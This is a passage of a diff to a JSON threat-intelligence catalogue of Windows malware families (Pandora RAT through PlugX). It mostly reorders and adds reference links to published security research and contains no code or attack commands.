"synonyms": [ + "Pandora hVNC RAT" + ], + "type": [] + }, + "uuid": "db259f3d-b8a1-44d4-8c4d-15bfea2a0c59", + "value": "Pandora RAT" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.paradies_clipper", + "https://www.youtube.com/watch?v=wjoH9jW2EPQ" + ], + "synonyms": [], + "type": [] + }, + "uuid": "dd1bb757-6084-408a-8090-4e2bf0834c09", + "value": "Paradies Clipper" + }, { "description": "Ransomware.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.paradise", - "https://www.acronis.com/en-us/blog/posts/paradise-ransomware-strikes-again", "https://therecord.media/source-code-for-paradise-ransomware-leaked-on-hacking-forums/", "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", "https://www.lastline.com/labsblog/iqy-files-and-paradise-ransomware/", - "https://marcoramilli.com/2021/08/23/paradise-ransomware-the-builder/", - "https://labs.bitdefender.com/2020/01/paradise-ransomware-decryption-tool" + "https://www.acronis.com/en-us/blog/posts/paradise-ransomware-strikes-again", + "https://labs.bitdefender.com/2020/01/paradise-ransomware-decryption-tool", + "https://marcoramilli.com/2021/08/23/paradise-ransomware-the-builder/" ], "synonyms": [], "type": [] @@ -32146,13 +33811,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax", - "https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html", - "https://www.bleepingcomputer.com/news/security/parallax-rat-common-malware-payload-after-hacker-forums-promotion/", "https://blog.morphisec.com/parallax-rat-active-status", - "https://twitter.com/malwrhunterteam/status/1227196799997431809", - "https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/", "https://www.vkremez.com/2020/02/lets-learn-inside-parallax-rat-malware.html", - "https://threatpost.com/ta2541-apt-rats-aviation/178422/" + "https://twitter.com/malwrhunterteam/status/1227196799997431809", + "https://threatpost.com/ta2541-apt-rats-aviation/178422/", + "https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html", + "https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/", + "https://www.bleepingcomputer.com/news/security/parallax-rat-common-malware-payload-after-hacker-forums-promotion/" ], "synonyms": [ "ParallaxRAT" @@ -32180,27 +33845,30 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.partyticket", - "https://threatpost.com/free-hermeticransom-ransomware-decryptor-released/178762/", - "https://www.crowdstrike.com/blog/how-to-decrypt-the-partyticket-ransomware-targeting-ukraine/", - "https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation", - "https://www.brighttalk.com/webcast/15591/534324", - "https://go.recordedfuture.com/hubfs/reports/mtp-2022-0302.pdf", - "https://decoded.avast.io/threatresearch/help-for-ukraine-free-decryptor-for-hermeticransom-ransomware/", - "https://www.splunk.com/en_us/blog/security/detecting-hermeticwiper.html", "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-hermeticwiper-partyticket", "https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/", - "https://www.zscaler.com/blogs/security-research/technical-analysis-partyticket-ransomware", "https://securelist.com/new-ransomware-trends-in-2022/106457/", - "https://www.techtarget.com/searchsecurity/news/252514091/CrowdStrike-cracks-PartyTicket-ransomware-targeting-Ukraine", - "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", - "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", - "https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-hermeticransom-victims-in-ukraine/", - "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf", - "https://www.mandiant.com/resources/information-operations-surrounding-ukraine", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", + "https://go.recordedfuture.com/hubfs/reports/mtp-2022-0302.pdf", "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine", + "https://decoded.avast.io/threatresearch/help-for-ukraine-free-decryptor-for-hermeticransom-ransomware/", "https://securelist.com/elections-goransom-and-hermeticwiper-attack/105960/", - "https://www.kaspersky.com/blog/hermeticransom-hermeticwiper-attacks-2022/43825/" + "https://www.mandiant.com/resources/information-operations-surrounding-ukraine", + "https://www.kaspersky.com/blog/hermeticransom-hermeticwiper-attacks-2022/43825/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf", + "https://www.crowdstrike.com/blog/how-to-decrypt-the-partyticket-ransomware-targeting-ukraine/", + "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", + "https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-hermeticransom-victims-in-ukraine/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", + "https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://www.techtarget.com/searchsecurity/news/252514091/CrowdStrike-cracks-PartyTicket-ransomware-targeting-Ukraine", + "https://www.zscaler.com/blogs/security-research/technical-analysis-partyticket-ransomware", + "https://threatpost.com/free-hermeticransom-ransomware-decryptor-released/178762/", + "https://www.splunk.com/en_us/blog/security/detecting-hermeticwiper.html", + "https://www.brighttalk.com/webcast/15591/534324" ], "synonyms": [ "Elections GoRansom", @@ -32230,13 +33898,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pay2key", - "https://twitter.com/TrendMicroRSRCH/status/1389422784808378370", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.bleepingcomputer.com/news/security/intels-habana-labs-hacked-by-pay2key-ransomware-data-stolen/", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://twitter.com/TrendMicroRSRCH/status/1389422784808378370", "https://research.checkpoint.com/2020/ransomware-alert-pay2key/", - "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", - "https://www.bleepingcomputer.com/news/security/intels-habana-labs-hacked-by-pay2key-ransomware-data-stolen/" + "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf" ], "synonyms": [ "Cobalt" @@ -32264,7 +33932,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pcshare", - "https://web.archive.org/web/20191115210757/https://threatvector.cylance.com/en_us/home/pcshare-backdoor-attacks-targeting-windows-users-with-fakenarrator-malware.html" + "https://web.archive.org/web/20191115210757/https://threatvector.cylance.com/en_us/home/pcshare-backdoor-attacks-targeting-windows-users-with-fakenarrator-malware.html", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf" ], "synonyms": [], "type": [] @@ -32277,14 +33946,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pebbledash", - "https://malwarenailed.blogspot.com/2020/06/peebledash-lazarus-hiddencobra-rat.html?m=1", "https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-%EA%B7%B8%EB%A3%B9%EC%9D%98-APT-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C-AppleSeed-PebbleDash.pdf", - "https://asec.ahnlab.com/en/30532/", - "https://www.us-cert.gov/ncas/analysis-reports/ar20-133c", - "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/", "https://download.ahnlab.com/global/brochure/Analysis%20Report%20of%20Kimsuky%20Group.pdf", + "https://malwarenailed.blogspot.com/2020/06/peebledash-lazarus-hiddencobra-rat.html?m=1", + "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/", + "https://www.us-cert.gov/ncas/analysis-reports/ar20-133c", "https://asec.ahnlab.com/en/30022/", - "https://blog.reversinglabs.com/blog/hidden-cobra" + "https://blog.reversinglabs.com/blog/hidden-cobra", + "https://asec.ahnlab.com/en/30532/" ], "synonyms": [], "type": [] @@ -32297,10 +33966,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.peddlecheap", - "https://www.forcepoint.com/fr/blog/security-labs/new-whitepaper-danderspritzpeddlecheap-traffic-analysis-part-1-2#", + "https://obscuritylabs.com/blog/2017/11/13/match-made-in-the-shadows-part-3/", "https://twitter.com/ESETresearch/status/1258353960781598721", - "https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/", - "https://obscuritylabs.com/blog/2017/11/13/match-made-in-the-shadows-part-3/" + "https://www.forcepoint.com/fr/blog/security-labs/new-whitepaper-danderspritzpeddlecheap-traffic-analysis-part-1-2#", + "https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/" ], "synonyms": [], "type": [] @@ -32333,6 +34002,19 @@ "uuid": "a2fd9b8a-826d-4df5-9a29-d61a8456d086", "value": "Penco" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.pennywise", + "https://blog.cyble.com/2022/06/30/infostealer/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c222def2-0f1f-4c74-9e37-757e964ff3c6", + "value": "PennyWise Stealer" + }, { "description": "Peppy is a Python-based RAT with the majority of its appearances having similarities or definite overlap with MSIL/Crimson appearances. Peppy communicates to its C&C over HTTP and utilizes SQLite for much of its internal functionality and tracking of exfiltrated files. The primary purpose of Peppy may be the automated exfiltration of potentially interesting files and keylogs. Once Peppy successfully communicates to its C&C, the keylogging and exfiltration of files using configurable search parameters begins. Files are exfiltrated using HTTP POST requests.", "meta": { @@ -32351,8 +34033,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.petrwrap", - "https://securelist.com/blog/research/77762/petrwrap-the-new-petya-based-ransomware-used-in-targeted-attacks/", - "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/" + "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/", + "https://securelist.com/blog/research/77762/petrwrap-the-new-petya-based-ransomware-used-in-targeted-attacks/" ], "synonyms": [], "type": [] @@ -32365,13 +34047,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.petya", - "https://blog.malwarebytes.com/threat-analysis/2016/05/petya-and-mischa-ransomware-duet-p1/", - "https://blog.malwarebytes.com/threat-analysis/2016/07/third-time-unlucky-improved-petya-is-out/", + "https://www.microsoft.com/security/blog/2017/06/27/new-ransomware-old-techniques-petya-adds-worm-capabilities/", "https://blog.malwarebytes.com/malwarebytes-news/2017/07/bye-bye-petya-decryptor-old-versions-released/", "https://blog.malwarebytes.com/threat-analysis/2016/04/petya-ransomware/", - "https://www.microsoft.com/security/blog/2017/06/27/new-ransomware-old-techniques-petya-adds-worm-capabilities/", - "https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html", - "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/" + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/", + "https://blog.malwarebytes.com/threat-analysis/2016/07/third-time-unlucky-improved-petya-is-out/", + "https://blog.malwarebytes.com/threat-analysis/2016/05/petya-and-mischa-ransomware-duet-p1/", + "https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html" ], "synonyms": [], "type": [] @@ -32411,12 +34094,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.philadelphia_ransom", + "https://www.proofpoint.com/us/threat-insight/post/philadelphia-ransomware-customization-commodity-malware", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "https://www.cylance.com/en_us/blog/threat-spotlight-philadelphia-ransomware.html", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/", - "https://www.proofpoint.com/us/threat-insight/post/philadelphia-ransomware-customization-commodity-malware", "https://intel471.com/blog/a-brief-history-of-ta505", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/", "https://krebsonsecurity.com/2017/03/ransomware-for-dummies-anyone-can-do-it/" ], "synonyms": [], @@ -32430,28 +34113,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.phobos", - "https://www.coveware.com/blog/phobos-ransomware-distributed-dharma-crew", - "https://www.advanced-intel.com/post/inside-phobos-ransomware-dharma-past-underground", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", - "https://securelist.com/cis-ransomware/104452/", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - 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"https://blog.morphisec.com/the-fair-upgrade-variant-of-phobos-ransomware", + "https://www.fortinet.com/blog/threat-research/deep-analysis-the-eking-variant-of-phobos-ransomware", + "https://www.coveware.com/blog/phobos-ransomware-distributed-dharma-crew", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.sri.ro/articole/atac-cibernetic-cu-aplicatia-ransomware-phobos", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/" + "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/", + "https://blogs.blackberry.com/en/2021/11/zebra2104", + "https://blog.malwarebytes.com/threat-analysis/2019/07/a-deep-dive-into-phobos-ransomware/", + "https://securelist.com/cis-ransomware/104452/" ], "synonyms": [], "type": [] @@ -32464,8 +34147,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoenix_keylogger", - "https://threatresearch.ext.hp.com/the-many-skins-of-snake-keylogger/", - "https://www.cybereason.com/blog/phoenix-the-tale-of-the-resurrected-alpha-keylogger" + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://www.cybereason.com/blog/phoenix-the-tale-of-the-resurrected-alpha-keylogger", + "https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass", + "https://threatresearch.ext.hp.com/the-many-skins-of-snake-keylogger/" ], "synonyms": [], "type": [] @@ -32480,9 +34165,9 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoenix_locker", "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", "https://killingthebear.jorgetesta.tech/actors/evil-corp", - "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions" + "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp" ], "synonyms": [], "type": [] @@ -32495,8 +34180,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoreal", - "https://elastic.github.io/security-research/intelligence/2022/03/02.phoreal-targets-southeast-asia-financial-sector/article/", "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/SpyRATsofOceanLotusMalwareWhitePaper.pdf", + "https://elastic.github.io/security-research/intelligence/2022/03/02.phoreal-targets-southeast-asia-financial-sector/article/", "https://www.secureworks.com/research/threat-profiles/tin-woodlawn" ], "synonyms": [ @@ -32512,24 +34197,24 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/nemty-ransomware-trik-botnet", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://www.proofpoint.com/us/threat-insight/post/phorpiex-decade-spamming-shadows", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", "https://research.checkpoint.com/2019/phorpiex-breakdown/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/shylock-not-the-lone-threat-targeting-skype/", - "https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/", "https://www.lastline.com/labsblog/nemty-ransomware-scaling-up-apac-mailboxes-swarmed-dual-downloaders/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://blog.trendmicro.com/trendlabs-security-intelligence/shylock-not-the-lone-threat-targeting-skype/", + "https://research.checkpoint.com/2021/phorpiex-botnet-is-back-with-a-new-twizt-hijacking-hundreds-of-crypto-transactions/", + "https://www.microsoft.com/security/blog/2021/05/20/phorpiex-morphs-how-a-longstanding-botnet-persists-and-thrives-in-the-current-threat-environment/", "https://www.johannesbader.ch/2016/02/phorpiex/", "https://blogs.vmware.com/security/2021/11/telemetry-peak-analyzer-an-automatic-malware-campaign-detector.html", - "https://therecord.media/phorpiex-botnet-shuts-down-source-code-goes-up-for-sale/", - "https://www.microsoft.com/security/blog/2021/05/20/phorpiex-morphs-how-a-longstanding-botnet-persists-and-thrives-in-the-current-threat-environment/", - "https://www.zdnet.com/article/someone-is-uninstalling-the-phorpiex-malware-from-infected-pcs-and-telling-users-to-install-an-antivirus/", - "https://twitter.com/_CPResearch_/status/1447852018794643457", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/nemty-ransomware-trik-botnet", "https://www.bleepingcomputer.com/news/security/trik-spam-botnet-leaks-43-million-email-addresses/", - "https://research.checkpoint.com/2021/phorpiex-botnet-is-back-with-a-new-twizt-hijacking-hundreds-of-crypto-transactions/", - "https://www.proofpoint.com/us/threat-insight/post/phorpiex-decade-spamming-shadows" + "https://therecord.media/phorpiex-botnet-shuts-down-source-code-goes-up-for-sale/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://twitter.com/_CPResearch_/status/1447852018794643457", + "https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/", + "https://www.zdnet.com/article/someone-is-uninstalling-the-phorpiex-malware-from-infected-pcs-and-telling-users-to-install-an-antivirus/" ], "synonyms": [ "Trik" @@ -32544,17 +34229,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.photoloader", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", "https://www.intezer.com/blog/research/conversation-hijacking-campaign-delivering-icedid/", - "https://isc.sans.edu/diary/28636", + "https://twitter.com/felixw3000/status/1521816045769662468", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://www.silentpush.com/blog/icedid-command-and-control-infrastructure", - "https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes", - "https://sysopfb.github.io/malware,/icedid/2020/04/28/IcedIDs-updated-photoloader.html", - "https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/", + "https://isc.sans.edu/diary/28636", "https://www.silentpush.com/blog/malicious-infrastructure-as-a-service", - "https://twitter.com/felixw3000/status/1521816045769662468" + "https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/", + "https://sysopfb.github.io/malware,/icedid/2020/04/28/IcedIDs-updated-photoloader.html", + "https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes" ], "synonyms": [], "type": [] @@ -32567,8 +34253,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pickpocket", - "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", - "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html" + "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html", + "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae" ], "synonyms": [], "type": [] @@ -32581,8 +34267,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pierogi", - "https://www.cybereason.com/blog/new-cyber-espionage-campaigns-targeting-palestinians-part-2-the-discovery-of-the-new-mysterious-pierogi-backdoor", - "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf" + "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "https://www.cybereason.com/blog/new-cyber-espionage-campaigns-targeting-palestinians-part-2-the-discovery-of-the-new-mysterious-pierogi-backdoor" ], "synonyms": [], "type": [] @@ -32595,9 +34281,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pillowmint", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/" + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/" ], "synonyms": [], "type": [] @@ -32610,8 +34296,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pingback", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel/", - "https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/" + "https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel/" ], "synonyms": [], "type": [] @@ -32651,11 +34337,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pirpi", - 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"https://securelist.com/time-of-death-connected-medicine/84315/", - "https://tracker.h3x.eu/info/290", "https://www.contextis.com/de/blog/avivore", - "https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html", - "https://www.youtube.com/watch?v=C_TmANnbS2k", - "https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/", - "https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf", - "https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader", - "https://www.secureworks.com/research/threat-profiles/bronze-keystone", - "https://www.secureworks.com/research/threat-profiles/bronze-overbrook", - "https://or10nlabs.tech/reverse-engineering-the-mustang-panda-plugx-rat-extracting-the-config/", - "https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european", - "https://therecord.media/redecho-group-parks-domains-after-public-exposure/", - "https://or10nlabs.tech/reverse-engineering-the-mustang-panda-plugx-loader", - "https://www.secureworks.com/research/threat-profiles/bronze-express", - "https://www.secureworks.com/research/threat-profiles/bronze-olive", - "https://go.recordedfuture.com/hubfs/reports/cta-2020-0915.pdf", - "https://www.ptsecurity.com/ww-en/analytics/calypso-apt-2019/", - "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", - "https://insights.oem.avira.com/new-wave-of-plugx-targets-hong-kong/", - "https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html", "https://threatconnect.com/blog/research-roundup-activity-on-previously-identified-apt33-domains/", - "https://threatpost.com/chinese-apt-combines-fresh-hodur-rat-with-complex-anti-detection/179084/", - "https://st.drweb.com/static/new-www/news/2020/july/Study_of_the_APT_attacks_on_state_institutions_in_Kazakhstan_and_Kyrgyzstan_en.pdf", - "https://threatrecon.nshc.net/2019/03/19/sectorm04-targeting-singapore-custom-malware-analysis/", - "https://www.welivesecurity.com/fr/2022/03/25/mustang-pandas-hodur-nouveau-korplug/", - "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://www.youtube.com/watch?v=qEwBGGgWgOM", - "https://www.computerweekly.com/news/252471769/New-threat-group-behind-Airbus-cyber-attacks-claim-researchers", - "https://st.drweb.com/static/new-www/news/2020/october/Study_of_the_ShadowPad_APT_backdoor_and_its_relation_to_PlugX_en.pdf", - "https://www.macnica.net/file/security_report_20160613.pdf", - "http://blog.jpcert.or.jp/.s/2017/04/redleaves---malware-based-on-open-source-rat.html", - "https://blog.vincss.net/2022/05/re027-china-based-apt-mustang-panda-might-have-still-continued-their-attack-activities-against-organizations-in-Vietnam.html", - "https://www.uscc.gov/sites/default/files/2022-02/Adam_Kozy_Testimony.pdf", - "https://www.us-cert.gov/ncas/alerts/TA17-117A", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://twitter.com/stvemillertime/status/1261263000960450562", - "https://www.rsa.com/content/dam/pdfs/2-2017/kingslayer-a-supply-chain-attack.pdf", - "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", - "https://blogs.jpcert.or.jp/en/2017/04/redleaves---malware-based-on-open-source-rat.html", - "https://www.secureworks.com/research/threat-profiles/bronze-atlas", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf", - "https://go.contextis.com/rs/140-OCV-459/images/White%20Paper_PlugX%20-%20Payload%20Extraction.pdf", - "https://www.contextis.com/en/blog/dll-search-order-hijacking", - "https://blog.xorhex.com/blog/mustangpandaplugx-2/", - "https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt", - "https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn", - "https://www.virusbulletin.com/virusbulletin/2020/05/vb2019-paper-apt-cases-exploiting-vulnerabilities-regionspecific-software/", - "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html", - "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-pulling-pkplug-adversary-playbook-long-standing-espionage-activity-chinese-nation-state-adversary/", - "https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html", - "https://blog.vincss.net/2020/03/re012-phan-tich-ma-doc-loi-dung-dich-COVID-19-de-phat-tan-gia-mao-chi-thi-cua-thu-tuong-Nguyen-Xuan-Phuc-phan2.html", - "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/", - "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", - "https://www.secureworks.com/research/bronze-president-targets-ngos", - "https://or10nlabs.tech/reverse-engineering-the-new-mustang-panda-plugx-downloader/", - 